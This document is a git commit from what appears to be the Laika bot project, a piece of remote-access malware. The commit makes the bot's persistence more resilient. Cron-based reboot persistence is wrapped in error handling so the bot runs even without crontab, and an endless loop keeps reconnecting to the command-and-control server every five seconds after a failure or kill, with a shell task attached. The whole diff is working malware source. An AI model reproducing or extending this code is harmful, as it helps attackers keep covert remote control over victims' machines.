More resilient persistence

- bot will keep trying to connect if it failed to connect to the CNC or if the bot was killed
- if crontab isn't installed the bot will still run

bot/include/persist.h

@@ -9,12 +9,6 @@
 
 #include <stdbool.h>
 
-/* check if laika is already running */
-bool laikaB_checkRunning(void);
-
-/* check if laika is already installed on current machine */
-bool laikaB_checkPersist(void);
-
 /* check if laika is running as super-user */
 bool laikaB_checkRoot(void);
 

bot/lin/linpersist.c

@@ -20,16 +20,6 @@
 
 static struct sLaika_socket laikaB_markerPort;
 
-/* check if laika is already running */
-bool laikaB_checkRunning() {
-    return true; /* stubbed for now */
-}
-
-/* check if laika is already installed on current machine */
-bool laikaB_checkPersist() {
-    return true; /* stubbed for now */
-}
-
 /* check if laika is running as super-user */
 bool laikaB_checkRoot() {
     return geteuid() == 0; /* user id 0 is reserved for root in 99% of the cases */
@@ -133,9 +123,13 @@ void laikaB_tryPersist() {
 
     LAIKA_DEBUG("Successfully installed '%s'!\n", installPath);
 
-    /* enable persistence on reboot via cron */
-    if (!checkPersistCron(installPath))
-        tryPersistCron(installPath);
+    LAIKA_TRY
+        /* enable persistence on reboot via cron */
+        if (!checkPersistCron(installPath))
+            tryPersistCron(installPath);
+    LAIKA_CATCH
+        LAIKA_DEBUG("crontab not installed or not accessible!")
+    LAIKA_TRYEND
 #endif
 }
 

bot/src/main.c

@@ -17,26 +17,39 @@ void shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clo
 }
 
 int main(int argv, char *argc[]) {
-    struct sLaika_bot *bot = laikaB_newBot();
+    struct sLaika_bot *bot;
 
     /* install persistence */
     laikaB_tryPersist();
 
-    /* init task service */
-    laikaT_initTaskService(&tService);
-    laikaT_newTask(&tService, 100, shellTask, (void*)bot);
+#ifdef LAIKA_PERSISTENCE
+    do {
+#endif
+        bot = laikaB_newBot();
 
-    /* connect to test CNC */
-    laikaB_connectToCNC(bot, LAIKA_CNC_IP, LAIKA_CNC_PORT);
+        /* init task service */
+        laikaT_initTaskService(&tService);
+        laikaT_newTask(&tService, 100, shellTask, (void*)bot);
 
-    /* while connection is still alive, poll bot */
-    while (laikaS_isAlive((&bot->peer->sock))) {
-        if (!laikaB_poll(bot, laikaT_timeTillTask(&tService))) {
-            laikaT_pollTasks(&tService);
-        }
-    }
+        LAIKA_TRY
+            /* connect to test CNC */
+            laikaB_connectToCNC(bot, LAIKA_CNC_IP, LAIKA_CNC_PORT);
+
+            /* while connection is still alive, poll bot */
+            while (laikaS_isAlive((&bot->peer->sock))) {
+                if (!laikaB_poll(bot, laikaT_timeTillTask(&tService))) {
+                    laikaT_pollTasks(&tService);
+                }
+            }
+        LAIKA_TRYEND
+
+        /* bot was killed or it threw an error */
+        laikaT_cleanTaskService(&tService);
+        laikaB_freeBot(bot);
+#ifdef LAIKA_PERSISTENCE
+        sleep(5);
+    } while (1);
+#endif
 
-    laikaB_freeBot(bot);
-    LAIKA_DEBUG("bot killed\n");
     return 0;
 }

bot/win/winpersist.c

@@ -2,16 +2,6 @@
 
 #include "persist.h"
 
-/* check if laika is already running */
-bool laikaB_checkRunning() {
-    return true; /* stubbed for now */
-}
-
-/* check if laika is already installed on current machine */
-bool laikaB_checkPersist() {
-    return true; /* stubbed for now */
-}
-
 /* check if laika is running as super-user */
 bool laikaB_checkRoot() {
     return true; /* stubbed for now */